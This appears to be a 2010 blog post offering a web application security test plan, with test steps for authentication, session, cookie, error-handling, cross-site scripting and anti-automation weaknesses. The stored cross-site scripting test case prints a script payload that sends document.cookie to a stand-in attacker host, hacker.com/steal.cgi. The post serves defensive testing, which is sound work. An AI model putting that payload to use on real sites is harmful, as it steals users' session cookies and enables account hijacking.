Tuesday, June 1, 2010

Application security testing is defined as a process of identifying the various vulnerabilities in a system which are exposed because of improper design or coding issues. This document doesn’t provide the complete list of all the vulnerabilities

Test should be designed considering the following points

  • Ø Probability of occurrence of event
  • Ø Risk associated with each occurrence

The different vulnerabilities for which web application should be tested are as follows:

  • Ø Authentication
  • Ø Session Management
  • Ø Cookies
  • Ø Error handling
  • Ø Cross Site scripting
  • Ø Anti-Automation


1- Authentication

a- User guesses the password

Pre-condition
Post-condition
Description

Some websites allows user to register with weak password. The weak password can be one of dictionary word, user of either lower or upper case only, only alphabets, small length password

Steps

Step

Type

Description

Expected

Actual, if different from Expected

P/F

Date

By

{Test Step Type }

{Description/Instruction on what to do in this Test Step}

{The expected result from executing the Test Step}

{The actual result after the Test Step was executed. If different from the Test Step}

{Pass/

Failed}

{Date Test Step was executed}

{Tester Initial}

1

Website registration page

1-check complexity

2

2-check password confirms and required length with combination of lower and upper case and special keywords

3

3-check that password doesn’t belong to dictionary


b-
Brute Force attack

Pre-condition
Post-condition
Description

Some websites doesn’t allow the account lockout features in case wrong information is entered for more than few attempts. It allows the Brute Force attack, which is an automated process of trial and error to guess the person username, password and credit card numbers.

Steps

Step

Type

Description

Expected

Actual, if different from Expected

P/F

Date

By

4

User login page

1-check account lockout happens after few unsuccessful attempts

5

2-check the error message displayed doesn’t tells which part of authentication credentials are incorrect

6

3-Check the status failure or success after few seconds once the user enters the credentials


c-
Password recovery validation

Pre-condition
Post-condition
Description

The attack happens when the attacker illegally obtain, change another users password.

Steps

Step

Type

Description

Expected

Actual, if different from Expected

P/F

Date

By

7

Change/ Forgotten password screen

1-check that change password screen have old password field mandatory

8

2-check to ensure that password field doesn’t have Auto complete feature “ON”

9

3-check the new password is not displayed in the screen but is send to user mail id

10

4- Check to see that account gets locked if user tried to enter old password incorrect for more than 3 attempts.

2- Session Management

Description

Session management is necessary to maintain the identity of user across multiple requests. Cookies are information which is stored on client machine by web server. They are basically name-value pair which website uses to retrieve data when user visits the site again or across requests. Attackers can tamper this data to acquire information. The various attacks that can happen are:-

a- Insufficient session Expiration

Pre-condition
Post-condition
Description

The application allows the attacker to reuse the old session IDs. All it needs for an attacker is to know the old session id and he can reuse the same.

Steps

Step

Type

Description

Expected

Actual, if different from Expected

P/F

Date

By

11

All application pages

Check that the application logs off or session is expired after some time.


b- Session Hijacking

Pre-condition
Post-condition
Description

If session ids are predictable, it is possibility that attacker can guess the session id and can use it.

Steps

Step

Type

Description

Expected

Actual, if different from Expected

P/F

Date

By

12

Any page after login

1- Check whether session ids are predictable.

13

2-Check multiple session of same user is not allowed

14

3- Check important data is transferred using HTTPS protocol


3- Cookies

Description

Cookie is small information stored in text file on user’s hard drive by web server. This information is later used by web browser to retrieve information from that machine. Generally cookie contains personalized user data or information that is used to communicate between different web pages.

Pre-condition
Post-condition

Steps

Step

Type

Description

Expected

Actual, if different from Expected

P/F

Date

By

15

privacy policy

As a Cookie privacy policy make sure from your design documents that no personal or sensitive data is stored in the cookie.

16

sensitive data

If you have no option than saving sensitive data in cookie make sure data stored in cookie is stored in encrypted format

17

no overuse of cookies

Make sure that there is no overuse of cookies on your site under test. Overuse of cookies will annoy users if browser is prompting for cookies more often and this could result in loss of site traffic and eventually loss of business.

Description

Disable the cookies

Pre-condition

For executing this test case you can set browser options to prompt whenever cookie is being written to disk. On this prompt window you can either accept or reject cookie.

Post-condition

Step

Type

Description

Expected

Actual, if different from Expected

P/F

Date

By

18

Disable the cookies

Disable the cookies from your browser settings.

Then try to access the web site under test. Navigate through the site. There should not be any page crash due to disabling the cookies.

- If you are using cookies on your site, your sites major functionality will not work by disabling the cookies

-See if appropriate messages are displayed to user like “For smooth functioning of this site make sure that cookies are enabled on your browser”.

Description

Accepts/Reject some cookies:

Pre-condition

For executing this test case you can set browser options to prompt whenever cookie is being written to disk. On this prompt window you can either accept or reject cookie.

Post-condition

Step

Type

Description

Expected

Actual, if different from Expected

P/F

Date

By

19

Accepts/Reject some cookies:

The best way to check web site functionality is, not to accept all cookies. If you are writing 10 cookies in your web application then randomly accept some cookies say accept 5 and reject 5 cookies. Try to access major functionality of web site. See if pages are getting crashed or data is getting corrupted

20

Delete cookie:

Delete cookie: Allow site to write the cookies and then close all browsers and manually delete all cookies for web site under test. Access the web pages and check the behavior of the pages.

21

Corrupt the cookies:

Corrupting cookie is easy. You know where cookies are stored. Manually edit the cookie in notepad and change the parameters to some vague values. Like alter the cookie content, Name of the cookie or expiry date of the cookie and see the site functionality.

-In some cases corrupted cookies allow to read the data inside it for any other domain. This should not happen in case of your web site cookies.

The cookies written by one domain say hotmail.com can’t be accessed by other domain say yahoo.com unless and until the cookies are corrupted and someone trying to hack the cookie data.

22

Checking the deletion of cookies from your web application page:

Sometimes cookie written by domain say rediff.com may be deleted by same domain but by different page under that domain. This is the general case if you are testing some ‘action tracking’ web portal. Action tracking or purchase tracking pixel is placed on the action web page and when any action or purchase occurs by user the cookie written on disk get deleted to avoid multiple action logging from same cookie. Check if reaching to your action or purchase page deletes the cookie properly and no more invalid actions or purchase get logged from same user.

23

Cookie Testing on Multiple browsers:

This is the important case to check if your web application page is writing the cookies properly on different browsers as intended and site works properly using these cookies. You can test your web application on Major used browsers like Internet explorer (Various versions), Mozilla Firefox, Netscape, Opera etc.

24

Cookies to maintain the logging state of any user

If your web application is using cookies to maintain the logging state of any user then log in to your web application using some username and password. In many cases you can see the logged in user ID parameter directly in browser address bar. Change this parameter to different value ,say if previous user ID is 100 then make it 101 and press enter.

The proper access message should be displayed to user and user should not be able to see other users account.

4- Error Handling

Description

It is common mistake from developer that errors are not handled properly and lot of information is disclosed and leads to information disclosure attack. The various attacks that can happen are:-

a- Path Traversal

Pre-condition
Post-condition
Description

Techniques used to access the files and folder which are outside the web root directory.

If you have a website http://PCS.com/ex.html , just change the URL to point to some file which is not present for example http://PCS.com/any.html if the error message thrown is something like file notavailable.html is not present in C:\test\webapp. Then error message has disclosed very important information to the attacker showing the directory structure of web server. This can be exploited by an attacker for accessing files and folders that resides outside the root directory.

Steps

Step

Type

Description

Expected

Actual, if different from Expected

P/F

Date

By

25

Accessing the password file from the server

Check to validate the proper access control mechanism on the server. Test should be done so that error message doesn’t reveal too much of information. Test to validate the input URL.

b- Predictable resource location

Pre-condition
Post-condition
Description

Technique used to gain access to hidden content. The reason is most of the time application follow a similar folder structure and file naming convention which makes the content more predictable.

Steps

Step

Type

Description

Expected

Actual, if different from Expected

P/F

Date

By

26

1-Technique used to gain access to hidden content

2- use of sequential files in a folder

Check files are not stored in sequential manner. Test for access control mechanism. Test for predictable folder structure and files within them.

for example

www.PCS.com/myfiles/fil1.txt

www.PCS.com/myfiles/fil2.txt

www.PCS.com/myfiles/fil3.txt


5- Cross Site Scripting

Description

In this the malicious script is executed on the client side. This happens when server side validation is not done for the input fields. The different attacks that can happen are:-

a- Echo-type Cross scripting

Pre-condition
Post-condition
Description

In this the input is entered in some fields on the client machine which is echoed back from the server

Steps

Step

Type

Description

Expected

Actual, if different from Expected

P/F

Date

By

27

User registration page

1-Check that proper validation is done from the server side Give the input <script>Hello World </script>. When the form is submitted, the server echoes back and the script is executed showing the dialog box “Hello World’

28

2- Test to check the inputs doesn’t accepts the special character like <> %

29

Turn off script

System display message

“please turn on your script”

b- Stored cross scripting

Pre-condition
Post-condition
Description

In this type of attack, the message is stored in the server without proper validation and when clicked on the message link, the user is redirected to some other page and this can result in session ID hijacking.

Steps

Step

Type

Description

Expected

Actual, if different from Expected

P/F

Date

By

30

Mail forum

The mail is stored in the server with input <script> document location replace ('http://hacker.com/steal.cgi?'+document. cookie) ;< /script>">. This redirects the user to attacker site and the cookie is stolen

Check scripting is allowed or not.

Test for input validation so that it doesn’t contain special characters. Special characters are encoded.

6- Anti-Automation

Pre-condition
Post-condition
Description

Insufficient anti-automation attack is when a web site permits an attacker to automate a process that should be performed manually. This can even result in denial of service for some functionality.

Steps

Step

Type

Description

Expected

Actual, if different from Expected

P/F

Date

By

31

User registration page

1-Check that registration process cannot be automated, it should include the manual entry also.

Test to see if CAPTCHA is used.

Test for avoiding Brute force attack.

Software Quality By :

Ahmed Abdelhamid
Software Quality Engineer
Interactive Saudi Arabia Ltd.
An Economic Offset Program Co.
http://www.il.com.sa/ahamid



0 comments: